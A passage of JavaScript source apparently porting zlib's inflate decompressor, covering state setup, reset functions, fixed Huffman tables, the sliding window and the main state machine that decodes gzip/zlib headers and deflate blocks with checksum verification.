this.ncode = 0; /* number of code length code lengths */
this.nlen = 0; /* number of length code lengths */
this.ndist = 0; /* number of distance code lengths */
this.have = 0; /* number of code lengths in lens[] */
this.next = null; /* next available space in codes[] */
this.lens = new utils.Buf16(320); /* temporary storage for code lengths */
this.work = new utils.Buf16(288); /* work area for code table building */
/*
because we don't have pointers in js, we use lencode and distcode directly
as buffers so we don't need codes
*/
//this.codes = new utils.Buf32(ENOUGH); /* space for code tables */
this.lendyn = null; /* dynamic table for length/literal codes (JS specific) */
this.distdyn = null; /* dynamic table for distance codes (JS specific) */
this.sane = 0; /* if false, allow invalid distance too far */
this.back = 0; /* bits back of last unprocessed length/lit */
this.was = 0; /* initial length of match */
}
function inflateResetKeep(strm) {
var state;
if (!strm || !strm.state) { return Z_STREAM_ERROR; }
state = strm.state;
strm.total_in = strm.total_out = state.total = 0;
strm.msg = ''; /*Z_NULL*/
if (state.wrap) { /* to support ill-conceived Java test suite */
strm.adler = state.wrap & 1;
}
state.mode = HEAD;
state.last = 0;
state.havedict = 0;
state.dmax = 32768;
state.head = null/*Z_NULL*/;
state.hold = 0;
state.bits = 0;
//state.lencode = state.distcode = state.next = state.codes;
state.lencode = state.lendyn = new utils.Buf32(ENOUGH_LENS);
state.distcode = state.distdyn = new utils.Buf32(ENOUGH_DISTS);
state.sane = 1;
state.back = -1;
//Tracev((stderr, "inflate: reset\n"));
return Z_OK;
}
function inflateReset(strm) {
var state;
if (!strm || !strm.state) { return Z_STREAM_ERROR; }
state = strm.state;
state.wsize = 0;
state.whave = 0;
state.wnext = 0;
return inflateResetKeep(strm);
}
function inflateReset2(strm, windowBits) {
var wrap;
var state;
/* get the state */
if (!strm || !strm.state) { return Z_STREAM_ERROR; }
state = strm.state;
/* extract wrap request from windowBits parameter */
if (windowBits < 0) {
wrap = 0;
windowBits = -windowBits;
}
else {
wrap = (windowBits >> 4) + 1;
if (windowBits < 48) {
windowBits &= 15;
}
}
/* set number of window bits, free window if different */
if (windowBits && (windowBits < 8 || windowBits > 15)) {
return Z_STREAM_ERROR;
}
if (state.window !== null && state.wbits !== windowBits) {
state.window = null;
}
/* update state and reset the rest of it */
state.wrap = wrap;
state.wbits = windowBits;
return inflateReset(strm);
}
function inflateInit2(strm, windowBits) {
var ret;
var state;
if (!strm) { return Z_STREAM_ERROR; }
//strm.msg = Z_NULL; /* in case we return an error */
state = new InflateState();
//if (state === Z_NULL) return Z_MEM_ERROR;
//Tracev((stderr, "inflate: allocated\n"));
strm.state = state;
state.window = null/*Z_NULL*/;
ret = inflateReset2(strm, windowBits);
if (ret !== Z_OK) {
strm.state = null/*Z_NULL*/;
}
return ret;
}
function inflateInit(strm) {
return inflateInit2(strm, DEF_WBITS);
}
/*
Return state with length and distance decoding tables and index sizes set to
fixed code decoding. Normally this returns fixed tables from inffixed.h.
If BUILDFIXED is defined, then instead this routine builds the tables the
first time it's called, and returns those tables the first time and
thereafter. This reduces the size of the code by about 2K bytes, in
exchange for a little execution time. However, BUILDFIXED should not be
used for threaded applications, since the rewriting of the tables and virgin
may not be thread-safe.
*/
var virgin = true;
var lenfix, distfix; // We have no pointers in JS, so keep tables separate
function fixedtables(state) {
/* build fixed huffman tables if first call (may not be thread safe) */
if (virgin) {
var sym;
lenfix = new utils.Buf32(512);
distfix = new utils.Buf32(32);
/* literal/length table */
sym = 0;
while (sym < 144) { state.lens[sym++] = 8; }
while (sym < 256) { state.lens[sym++] = 9; }
while (sym < 280) { state.lens[sym++] = 7; }
while (sym < 288) { state.lens[sym++] = 8; }
inflate_table(LENS, state.lens, 0, 288, lenfix, 0, state.work, { bits: 9 });
/* distance table */
sym = 0;
while (sym < 32) { state.lens[sym++] = 5; }
inflate_table(DISTS, state.lens, 0, 32, distfix, 0, state.work, { bits: 5 });
/* do this just once */
virgin = false;
}
state.lencode = lenfix;
state.lenbits = 9;
state.distcode = distfix;
state.distbits = 5;
}
/*
Update the window with the last wsize (normally 32K) bytes written before
returning. If window does not exist yet, create it. This is only called
when a window is already in use, or when output has been written during this
inflate call, but the end of the deflate stream has not been reached yet.
It is also called to create a window for dictionary data when a dictionary
is loaded.
Providing output buffers larger than 32K to inflate() should provide a speed
advantage, since only the last 32K of output is copied to the sliding window
upon return from inflate(), and since all distances after the first 32K of
output will fall in the output data, making match copies simpler and faster.
The advantage may be dependent on the size of the processor's data caches.
*/
function updatewindow(strm, src, end, copy) {
var dist;
var state = strm.state;
/* if it hasn't been done already, allocate space for the window */
if (state.window === null) {
state.wsize = 1 << state.wbits;
state.wnext = 0;
state.whave = 0;
state.window = new utils.Buf8(state.wsize);
}
/* copy state->wsize or less output bytes into the circular window */
if (copy >= state.wsize) {
utils.arraySet(state.window, src, end - state.wsize, state.wsize, 0);
state.wnext = 0;
state.whave = state.wsize;
}
else {
dist = state.wsize - state.wnext;
if (dist > copy) {
dist = copy;
}
//zmemcpy(state->window + state->wnext, end - copy, dist);
utils.arraySet(state.window, src, end - copy, dist, state.wnext);
copy -= dist;
if (copy) {
//zmemcpy(state->window, end - copy, copy);
utils.arraySet(state.window, src, end - copy, copy, 0);
state.wnext = copy;
state.whave = state.wsize;
}
else {
state.wnext += dist;
if (state.wnext === state.wsize) { state.wnext = 0; }
if (state.whave < state.wsize) { state.whave += dist; }
}
}
return 0;
}
function inflate(strm, flush) {
var state;
var input, output; // input/output buffers
var next; /* next input INDEX */
var put; /* next output INDEX */
var have, left; /* available input and output */
var hold; /* bit buffer */
var bits; /* bits in bit buffer */
var _in, _out; /* save starting available input and output */
var copy; /* number of stored or match bytes to copy */
var from; /* where to copy match bytes from */
var from_source;
var here = 0; /* current decoding table entry */
var here_bits, here_op, here_val; // paked "here" denormalized (JS specific)
//var last; /* parent table entry */
var last_bits, last_op, last_val; // paked "last" denormalized (JS specific)
var len; /* length to copy for repeats, bits to drop */
var ret; /* return code */
var hbuf = new utils.Buf8(4); /* buffer for gzip header crc calculation */
var opts;
var n; // temporary var for NEED_BITS
var order = /* permutation of code lengths */
[ 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15 ];
if (!strm || !strm.state || !strm.output ||
(!strm.input && strm.avail_in !== 0)) {
return Z_STREAM_ERROR;
}
state = strm.state;
if (state.mode === TYPE) { state.mode = TYPEDO; } /* skip check */
//--- LOAD() ---
put = strm.next_out;
output = strm.output;
left = strm.avail_out;
next = strm.next_in;
input = strm.input;
have = strm.avail_in;
hold = state.hold;
bits = state.bits;
//---
_in = have;
_out = left;
ret = Z_OK;
inf_leave: // goto emulation
for (;;) {
switch (state.mode) {
case HEAD:
if (state.wrap === 0) {
state.mode = TYPEDO;
break;
}
//=== NEEDBITS(16);
while (bits < 16) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
if ((state.wrap & 2) && hold === 0x8b1f) { /* gzip header */
state.check = 0/*crc32(0L, Z_NULL, 0)*/;
//=== CRC2(state.check, hold);
hbuf[0] = hold & 0xff;
hbuf[1] = (hold >>> 8) & 0xff;
state.check = crc32(state.check, hbuf, 2, 0);
//===//
//=== INITBITS();
hold = 0;
bits = 0;
//===//
state.mode = FLAGS;
break;
}
state.flags = 0; /* expect zlib header */
if (state.head) {
state.head.done = false;
}
if (!(state.wrap & 1) || /* check if zlib header allowed */
(((hold & 0xff)/*BITS(8)*/ << 8) + (hold >> 8)) % 31) {
strm.msg = 'incorrect header check';
state.mode = BAD;
break;
}
if ((hold & 0x0f)/*BITS(4)*/ !== Z_DEFLATED) {
strm.msg = 'unknown compression method';
state.mode = BAD;
break;
}
//--- DROPBITS(4) ---//
hold >>>= 4;
bits -= 4;
//---//
len = (hold & 0x0f)/*BITS(4)*/ + 8;
if (state.wbits === 0) {
state.wbits = len;
}
else if (len > state.wbits) {
strm.msg = 'invalid window size';
state.mode = BAD;
break;
}
state.dmax = 1 << len;
//Tracev((stderr, "inflate: zlib header ok\n"));
strm.adler = state.check = 1/*adler32(0L, Z_NULL, 0)*/;
state.mode = hold & 0x200 ? DICTID : TYPE;
//=== INITBITS();
hold = 0;
bits = 0;
//===//
break;
case FLAGS:
//=== NEEDBITS(16); */
while (bits < 16) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
state.flags = hold;
if ((state.flags & 0xff) !== Z_DEFLATED) {
strm.msg = 'unknown compression method';
state.mode = BAD;
break;
}
if (state.flags & 0xe000) {
strm.msg = 'unknown header flags set';
state.mode = BAD;
break;
}
if (state.head) {
state.head.text = ((hold >> 8) & 1);
}
if (state.flags & 0x0200) {
//=== CRC2(state.check, hold);
hbuf[0] = hold & 0xff;
hbuf[1] = (hold >>> 8) & 0xff;
state.check = crc32(state.check, hbuf, 2, 0);
//===//
}
//=== INITBITS();
hold = 0;
bits = 0;
//===//
state.mode = TIME;
/* falls through */
case TIME:
//=== NEEDBITS(32); */
while (bits < 32) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
if (state.head) {
state.head.time = hold;
}
if (state.flags & 0x0200) {
//=== CRC4(state.check, hold)
hbuf[0] = hold & 0xff;
hbuf[1] = (hold >>> 8) & 0xff;
hbuf[2] = (hold >>> 16) & 0xff;
hbuf[3] = (hold >>> 24) & 0xff;
state.check = crc32(state.check, hbuf, 4, 0);
//===
}
//=== INITBITS();
hold = 0;
bits = 0;
//===//
state.mode = OS;
/* falls through */
case OS:
//=== NEEDBITS(16); */
while (bits < 16) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
if (state.head) {
state.head.xflags = (hold & 0xff);
state.head.os = (hold >> 8);
}
if (state.flags & 0x0200) {
//=== CRC2(state.check, hold);
hbuf[0] = hold & 0xff;
hbuf[1] = (hold >>> 8) & 0xff;
state.check = crc32(state.check, hbuf, 2, 0);
//===//
}
//=== INITBITS();
hold = 0;
bits = 0;
//===//
state.mode = EXLEN;
/* falls through */
case EXLEN:
if (state.flags & 0x0400) {
//=== NEEDBITS(16); */
while (bits < 16) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
state.length = hold;
if (state.head) {
state.head.extra_len = hold;
}
if (state.flags & 0x0200) {
//=== CRC2(state.check, hold);
hbuf[0] = hold & 0xff;
hbuf[1] = (hold >>> 8) & 0xff;
state.check = crc32(state.check, hbuf, 2, 0);
//===//
}
//=== INITBITS();
hold = 0;
bits = 0;
//===//
}
else if (state.head) {
state.head.extra = null/*Z_NULL*/;
}
state.mode = EXTRA;
/* falls through */
case EXTRA:
if (state.flags & 0x0400) {
copy = state.length;
if (copy > have) { copy = have; }
if (copy) {
if (state.head) {
len = state.head.extra_len - state.length;
if (!state.head.extra) {
// Use untyped array for more convenient processing later
state.head.extra = new Array(state.head.extra_len);
}
utils.arraySet(
state.head.extra,
input,
next,
// extra field is limited to 65536 bytes
// - no need for additional size check
copy,
/*len + copy > state.head.extra_max - len ? state.head.extra_max : copy,*/
len
);
//zmemcpy(state.head.extra + len, next,
// len + copy > state.head.extra_max ?
// state.head.extra_max - len : copy);
}
if (state.flags & 0x0200) {
state.check = crc32(state.check, input, copy, next);
}
have -= copy;
next += copy;
state.length -= copy;
}
if (state.length) { break inf_leave; }
}
state.length = 0;
state.mode = NAME;
/* falls through */
case NAME:
if (state.flags & 0x0800) {
if (have === 0) { break inf_leave; }
copy = 0;
do {
// TODO: 2 or 1 bytes?
len = input[next + copy++];
/* use constant limit because in js we should not preallocate memory */
if (state.head && len &&
(state.length < 65536 /*state.head.name_max*/)) {
state.head.name += String.fromCharCode(len);
}
} while (len && copy < have);
if (state.flags & 0x0200) {
state.check = crc32(state.check, input, copy, next);
}
have -= copy;
next += copy;
if (len) { break inf_leave; }
}
else if (state.head) {
state.head.name = null;
}
state.length = 0;
state.mode = COMMENT;
/* falls through */
case COMMENT:
if (state.flags & 0x1000) {
if (have === 0) { break inf_leave; }
copy = 0;
do {
len = input[next + copy++];
/* use constant limit because in js we should not preallocate memory */
if (state.head && len &&
(state.length < 65536 /*state.head.comm_max*/)) {
state.head.comment += String.fromCharCode(len);
}
} while (len && copy < have);
if (state.flags & 0x0200) {
state.check = crc32(state.check, input, copy, next);
}
have -= copy;
next += copy;
if (len) { break inf_leave; }
}
else if (state.head) {
state.head.comment = null;
}
state.mode = HCRC;
/* falls through */
case HCRC:
if (state.flags & 0x0200) {
//=== NEEDBITS(16); */
while (bits < 16) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
if (hold !== (state.check & 0xffff)) {
strm.msg = 'header crc mismatch';
state.mode = BAD;
break;
}
//=== INITBITS();
hold = 0;
bits = 0;
//===//
}
if (state.head) {
state.head.hcrc = ((state.flags >> 9) & 1);
state.head.done = true;
}
strm.adler = state.check = 0;
state.mode = TYPE;
break;
case DICTID:
//=== NEEDBITS(32); */
while (bits < 32) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
strm.adler = state.check = zswap32(hold);
//=== INITBITS();
hold = 0;
bits = 0;
//===//
state.mode = DICT;
/* falls through */
case DICT:
if (state.havedict === 0) {
//--- RESTORE() ---
strm.next_out = put;
strm.avail_out = left;
strm.next_in = next;
strm.avail_in = have;
state.hold = hold;
state.bits = bits;
//---
return Z_NEED_DICT;
}
strm.adler = state.check = 1/*adler32(0L, Z_NULL, 0)*/;
state.mode = TYPE;
/* falls through */
case TYPE:
if (flush === Z_BLOCK || flush === Z_TREES) { break inf_leave; }
/* falls through */
case TYPEDO:
if (state.last) {
//--- BYTEBITS() ---//
hold >>>= bits & 7;
bits -= bits & 7;
//---//
state.mode = CHECK;
break;
}
//=== NEEDBITS(3); */
while (bits < 3) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
state.last = (hold & 0x01)/*BITS(1)*/;
//--- DROPBITS(1) ---//
hold >>>= 1;
bits -= 1;
//---//
switch ((hold & 0x03)/*BITS(2)*/) {
case 0: /* stored block */
//Tracev((stderr, "inflate: stored block%s\n",
// state.last ? " (last)" : ""));
state.mode = STORED;
break;
case 1: /* fixed block */
fixedtables(state);
//Tracev((stderr, "inflate: fixed codes block%s\n",
// state.last ? " (last)" : ""));
state.mode = LEN_; /* decode codes */
if (flush === Z_TREES) {
//--- DROPBITS(2) ---//
hold >>>= 2;
bits -= 2;
//---//
break inf_leave;
}
break;
case 2: /* dynamic block */
//Tracev((stderr, "inflate: dynamic codes block%s\n",
// state.last ? " (last)" : ""));
state.mode = TABLE;
break;
case 3:
strm.msg = 'invalid block type';
state.mode = BAD;
}
//--- DROPBITS(2) ---//
hold >>>= 2;
bits -= 2;
//---//
break;
case STORED:
//--- BYTEBITS() ---// /* go to byte boundary */
hold >>>= bits & 7;
bits -= bits & 7;
//---//
//=== NEEDBITS(32); */
while (bits < 32) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
if ((hold & 0xffff) !== ((hold >>> 16) ^ 0xffff)) {
strm.msg = 'invalid stored block lengths';
state.mode = BAD;
break;
}
state.length = hold & 0xffff;
//Tracev((stderr, "inflate: stored length %u\n",
// state.length));
//=== INITBITS();
hold = 0;
bits = 0;
//===//
state.mode = COPY_;
if (flush === Z_TREES) { break inf_leave; }
/* falls through */
case COPY_:
state.mode = COPY;
/* falls through */
case COPY:
copy = state.length;
if (copy) {
if (copy > have) { copy = have; }
if (copy > left) { copy = left; }
if (copy === 0) { break inf_leave; }
//--- zmemcpy(put, next, copy); ---
utils.arraySet(output, input, next, copy, put);
//---//
have -= copy;
next += copy;
left -= copy;
put += copy;
state.length -= copy;
break;
}
//Tracev((stderr, "inflate: stored end\n"));
state.mode = TYPE;
break;
case TABLE:
//=== NEEDBITS(14); */
while (bits < 14) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
state.nlen = (hold & 0x1f)/*BITS(5)*/ + 257;
//--- DROPBITS(5) ---//
hold >>>= 5;
bits -= 5;
//---//
state.ndist = (hold & 0x1f)/*BITS(5)*/ + 1;
//--- DROPBITS(5) ---//
hold >>>= 5;
bits -= 5;
//---//
state.ncode = (hold & 0x0f)/*BITS(4)*/ + 4;
//--- DROPBITS(4) ---//
hold >>>= 4;
bits -= 4;
//---//
//#ifndef PKZIP_BUG_WORKAROUND
if (state.nlen > 286 || state.ndist > 30) {
strm.msg = 'too many length or distance symbols';
state.mode = BAD;
break;
}
//#endif
//Tracev((stderr, "inflate: table sizes ok\n"));
state.have = 0;
state.mode = LENLENS;
/* falls through */
case LENLENS:
while (state.have < state.ncode) {
//=== NEEDBITS(3);
while (bits < 3) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
state.lens[order[state.have++]] = (hold & 0x07);//BITS(3);
//--- DROPBITS(3) ---//
hold >>>= 3;
bits -= 3;
//---//
}
while (state.have < 19) {
state.lens[order[state.have++]] = 0;
}
// We have separate tables & no pointers. 2 commented lines below not needed.
//state.next = state.codes;
//state.lencode = state.next;
// Switch to use dynamic table
state.lencode = state.lendyn;
state.lenbits = 7;
opts = { bits: state.lenbits };
ret = inflate_table(CODES, state.lens, 0, 19, state.lencode, 0, state.work, opts);
state.lenbits = opts.bits;
if (ret) {
strm.msg = 'invalid code lengths set';
state.mode = BAD;
break;
}
//Tracev((stderr, "inflate: code lengths ok\n"));
state.have = 0;
state.mode = CODELENS;
/* falls through */
case CODELENS:
while (state.have < state.nlen + state.ndist) {
for (;;) {
here = state.lencode[hold & ((1 << state.lenbits) - 1)];/*BITS(state.lenbits)*/
here_bits = here >>> 24;
here_op = (here >>> 16) & 0xff;
here_val = here & 0xffff;
if ((here_bits) <= bits) { break; }
//--- PULLBYTE() ---//
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
//---//
}
if (here_val < 16) {
//--- DROPBITS(here.bits) ---//
hold >>>= here_bits;
bits -= here_bits;
//---//
state.lens[state.have++] = here_val;
}
else {
if (here_val === 16) {
//=== NEEDBITS(here.bits + 2);
n = here_bits + 2;
while (bits < n) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
//--- DROPBITS(here.bits) ---//
hold >>>= here_bits;
bits -= here_bits;
//---//
if (state.have === 0) {
strm.msg = 'invalid bit length repeat';
state.mode = BAD;
break;
}
len = state.lens[state.have - 1];
copy = 3 + (hold & 0x03);//BITS(2);
//--- DROPBITS(2) ---//
hold >>>= 2;
bits -= 2;
//---//
}
else if (here_val === 17) {
//=== NEEDBITS(here.bits + 3);
n = here_bits + 3;
while (bits < n) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
//--- DROPBITS(here.bits) ---//
hold >>>= here_bits;
bits -= here_bits;
//---//
len = 0;
copy = 3 + (hold & 0x07);//BITS(3);
//--- DROPBITS(3) ---//
hold >>>= 3;
bits -= 3;
//---//
}
else {
//=== NEEDBITS(here.bits + 7);
n = here_bits + 7;
while (bits < n) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
//--- DROPBITS(here.bits) ---//
hold >>>= here_bits;
bits -= here_bits;
//---//
len = 0;
copy = 11 + (hold & 0x7f);//BITS(7);
//--- DROPBITS(7) ---//
hold >>>= 7;
bits -= 7;
//---//
}
if (state.have + copy > state.nlen + state.ndist) {
strm.msg = 'invalid bit length repeat';
state.mode = BAD;
break;
}
while (copy--) {
state.lens[state.have++] = len;
}
}
}
/* handle error breaks in while */
if (state.mode === BAD) { break; }
/* check for end-of-block code (better have one) */
if (state.lens[256] === 0) {
strm.msg = 'invalid code -- missing end-of-block';
state.mode = BAD;
break;
}
/* build code tables -- note: do not change the lenbits or distbits
values here (9 and 6) without reading the comments in inftrees.h
concerning the ENOUGH constants, which depend on those values */
state.lenbits = 9;
opts = { bits: state.lenbits };
ret = inflate_table(LENS, state.lens, 0, state.nlen, state.lencode, 0, state.work, opts);
// We have separate tables & no pointers. 2 commented lines below not needed.
// state.next_index = opts.table_index;
state.lenbits = opts.bits;
// state.lencode = state.next;
if (ret) {
strm.msg = 'invalid literal/lengths set';
state.mode = BAD;
break;
}
state.distbits = 6;
//state.distcode.copy(state.codes);
// Switch to use dynamic table
state.distcode = state.distdyn;
opts = { bits: state.distbits };
ret = inflate_table(DISTS, state.lens, state.nlen, state.ndist, state.distcode, 0, state.work, opts);
// We have separate tables & no pointers. 2 commented lines below not needed.
// state.next_index = opts.table_index;
state.distbits = opts.bits;
// state.distcode = state.next;
if (ret) {
strm.msg = 'invalid distances set';
state.mode = BAD;
break;
}
//Tracev((stderr, 'inflate: codes ok\n'));
state.mode = LEN_;
if (flush === Z_TREES) { break inf_leave; }
/* falls through */
case LEN_:
state.mode = LEN;
/* falls through */
case LEN:
if (have >= 6 && left >= 258) {
//--- RESTORE() ---
strm.next_out = put;
strm.avail_out = left;
strm.next_in = next;
strm.avail_in = have;
state.hold = hold;
state.bits = bits;
//---
inflate_fast(strm, _out);
//--- LOAD() ---
put = strm.next_out;
output = strm.output;
left = strm.avail_out;
next = strm.next_in;
input = strm.input;
have = strm.avail_in;
hold = state.hold;
bits = state.bits;
//---
if (state.mode === TYPE) {
state.back = -1;
}
break;
}
state.back = 0;
for (;;) {
here = state.lencode[hold & ((1 << state.lenbits) - 1)]; /*BITS(state.lenbits)*/
here_bits = here >>> 24;
here_op = (here >>> 16) & 0xff;
here_val = here & 0xffff;
if (here_bits <= bits) { break; }
//--- PULLBYTE() ---//
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
//---//
}
if (here_op && (here_op & 0xf0) === 0) {
last_bits = here_bits;
last_op = here_op;
last_val = here_val;
for (;;) {
here = state.lencode[last_val +
((hold & ((1 << (last_bits + last_op)) - 1))/*BITS(last.bits + last.op)*/ >> last_bits)];
here_bits = here >>> 24;
here_op = (here >>> 16) & 0xff;
here_val = here & 0xffff;
if ((last_bits + here_bits) <= bits) { break; }
//--- PULLBYTE() ---//
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
//---//
}
//--- DROPBITS(last.bits) ---//
hold >>>= last_bits;
bits -= last_bits;
//---//
state.back += last_bits;
}
//--- DROPBITS(here.bits) ---//
hold >>>= here_bits;
bits -= here_bits;
//---//
state.back += here_bits;
state.length = here_val;
if (here_op === 0) {
//Tracevv((stderr, here.val >= 0x20 && here.val < 0x7f ?
// "inflate: literal '%c'\n" :
// "inflate: literal 0x%02x\n", here.val));
state.mode = LIT;
break;
}
if (here_op & 32) {
//Tracevv((stderr, "inflate: end of block\n"));
state.back = -1;
state.mode = TYPE;
break;
}
if (here_op & 64) {
strm.msg = 'invalid literal/length code';
state.mode = BAD;
break;
}
state.extra = here_op & 15;
state.mode = LENEXT;
/* falls through */
case LENEXT:
if (state.extra) {
//=== NEEDBITS(state.extra);
n = state.extra;
while (bits < n) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
state.length += hold & ((1 << state.extra) - 1)/*BITS(state.extra)*/;
//--- DROPBITS(state.extra) ---//
hold >>>= state.extra;
bits -= state.extra;
//---//
state.back += state.extra;
}
//Tracevv((stderr, "inflate: length %u\n", state.length));
state.was = state.length;
state.mode = DIST;
/* falls through */
case DIST:
for (;;) {
here = state.distcode[hold & ((1 << state.distbits) - 1)];/*BITS(state.distbits)*/
here_bits = here >>> 24;
here_op = (here >>> 16) & 0xff;
here_val = here & 0xffff;
if ((here_bits) <= bits) { break; }
//--- PULLBYTE() ---//
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
//---//
}
if ((here_op & 0xf0) === 0) {
last_bits = here_bits;
last_op = here_op;
last_val = here_val;
for (;;) {
here = state.distcode[last_val +
((hold & ((1 << (last_bits + last_op)) - 1))/*BITS(last.bits + last.op)*/ >> last_bits)];
here_bits = here >>> 24;
here_op = (here >>> 16) & 0xff;
here_val = here & 0xffff;
if ((last_bits + here_bits) <= bits) { break; }
//--- PULLBYTE() ---//
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
//---//
}
//--- DROPBITS(last.bits) ---//
hold >>>= last_bits;
bits -= last_bits;
//---//
state.back += last_bits;
}
//--- DROPBITS(here.bits) ---//
hold >>>= here_bits;
bits -= here_bits;
//---//
state.back += here_bits;
if (here_op & 64) {
strm.msg = 'invalid distance code';
state.mode = BAD;
break;
}
state.offset = here_val;
state.extra = (here_op) & 15;
state.mode = DISTEXT;
/* falls through */
case DISTEXT:
if (state.extra) {
//=== NEEDBITS(state.extra);
n = state.extra;
while (bits < n) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
state.offset += hold & ((1 << state.extra) - 1)/*BITS(state.extra)*/;
//--- DROPBITS(state.extra) ---//
hold >>>= state.extra;
bits -= state.extra;
//---//
state.back += state.extra;
}
//#ifdef INFLATE_STRICT
if (state.offset > state.dmax) {
strm.msg = 'invalid distance too far back';
state.mode = BAD;
break;
}
//#endif
//Tracevv((stderr, "inflate: distance %u\n", state.offset));
state.mode = MATCH;
/* falls through */
case MATCH:
if (left === 0) { break inf_leave; }
copy = _out - left;
if (state.offset > copy) { /* copy from window */
copy = state.offset - copy;
if (copy > state.whave) {
if (state.sane) {
strm.msg = 'invalid distance too far back';
state.mode = BAD;
break;
}
// (!) This block is disabled in zlib defaults,
// don't enable it for binary compatibility
//#ifdef INFLATE_ALLOW_INVALID_DISTANCE_TOOFAR_ARRR
// Trace((stderr, "inflate.c too far\n"));
// copy -= state.whave;
// if (copy > state.length) { copy = state.length; }
// if (copy > left) { copy = left; }
// left -= copy;
// state.length -= copy;
// do {
// output[put++] = 0;
// } while (--copy);
// if (state.length === 0) { state.mode = LEN; }
// break;
//#endif
}
if (copy > state.wnext) {
copy -= state.wnext;
from = state.wsize - copy;
}
else {
from = state.wnext - copy;
}
if (copy > state.length) { copy = state.length; }
from_source = state.window;
}
else { /* copy from output */
from_source = output;
from = put - state.offset;
copy = state.length;
}
if (copy > left) { copy = left; }
left -= copy;
state.length -= copy;
do {
output[put++] = from_source[from++];
} while (--copy);
if (state.length === 0) { state.mode = LEN; }
break;
case LIT:
if (left === 0) { break inf_leave; }
output[put++] = state.length;
left--;
state.mode = LEN;
break;
case CHECK:
if (state.wrap) {
//=== NEEDBITS(32);
while (bits < 32) {
if (have === 0) { break inf_leave; }
have--;
// Use '|' instead of '+' to make sure that result is signed
hold |= input[next++] << bits;
bits += 8;
}
//===//
_out -= left;
strm.total_out += _out;
state.total += _out;
if (_out) {
strm.adler = state.check =
/*UPDATE(state.check, put - _out, _out);*/
(state.flags ? crc32(state.check, output, _out, put - _out) : adler32(state.check, output, _out, put - _out));
}
_out = left;
// NB: crc32 stored as signed 32-bit int, zswap32 returns signed too
if ((state.flags ? hold : zswap32(hold)) !== state.check) {
strm.msg = 'incorrect data check';
state.mode = BAD;
break;
}
//=== INITBITS();
hold = 0;
bits = 0;
//===//
//Tracev((stderr, "inflate: check matches trailer\n"));
}
state.mode = LENGTH;
/* falls through */
case LENGTH:
if (state.wrap && state.flags) {
//=== NEEDBITS(32);
while (bits < 32) {
if (have === 0) { break inf_leave; }
have--;
hold += input[next++] << bits;
bits += 8;
}
//===//
if (hold !== (state.total & 0xffffffff)) {
strm.msg = 'incorrect length check';
state.mode = BAD;
break;
}
//=== INITBITS();
hold = 0;
bits = 0;
//===//
//Tracev((stderr, "inflate: length matches trailer\n"));
}
state.mode = DONE;
/* falls through */
case DONE:
ret = Z_STREAM_END;
break inf_leave;
case BAD:
ret = Z_DATA_ERROR;
break inf_leave;
case MEM:
return Z_MEM_ERROR;
case SYNC:
/* falls through */
default:
return Z_STREAM_ERROR;
}
}
// inf_leave <- here is real place for "goto inf_leave", emulated via "break inf_leave"
/*
Return from inflate(), updating the total counts and the check value.
If there was no progress during the inflate() call, return a buffer
error. Call updatewindow() to create and/or update the window state.
Note: a memory error from inflate() is non-recoverable.
*/
//--- RESTORE() ---
strm.next_out = put;
strm.avail_out = left;
strm.next_in = next;
strm.avail_in = have;
state.hold = hold;
state.bits = bits;
//---
if (state.wsize || (_out !== strm.avail_out && state.mode < BAD &&
(state.mode < CHECK || flush !== Z_FINISH))) {
if (updatewindow(strm, strm.output, strm.next_out, _out - strm.avail_out)) {
state.mode = MEM;
return Z_MEM_ERROR;
}
}
_in -= strm.avail_in;
_out -= strm.avail_out;
strm.total_in += _in;
strm.total_out += _out;
state.total += _out;
if (state.wrap && _out) {
strm.adler = state.check = /*UPDATE(state.check, strm.next_out - _out, _out);*/
(state.flags ? crc32(state.check, output, _out, strm.next_out - _out) : adler32(state.check, output, _out, strm.next_out - _out));
}
strm.data_type = state.bits + (state.last ? 64 : 0) +
(state.mode === TYPE ? 128 : 0) +
(state.mode === LEN_ || state.mode === COPY_ ? 256 : 0);
if (((_in === 0 && _out === 0) || flush === Z_FINISH) && ret === Z_OK) {
ret = Z_BUF_ERROR;
}
return ret;
}
function inflateEnd(strm) {
if (!strm || !strm.state /*|| strm->zfree == (free_func)0*/) {
return Z_STREAM_ERROR;
}
var state = strm.state;
if (state.window) {
state.window = null;
}
strm.state = null;
return Z_OK;
}
function inflateGetHeader(strm, head) {
var state;
/* check state */
if (!strm || !strm.state) { return Z_STREAM_ERROR; }
state = strm.state;
if ((state.wrap & 2) === 0) { return Z_STREAM_ERROR; }
/* save header structure */
state.head = head;
head.done = false;
return Z_OK;
}
function inflateSetDictionary(strm, dictionary) {
var dictLength = dictionary.length;
var state;
var dictid;
var ret;
/* check state */
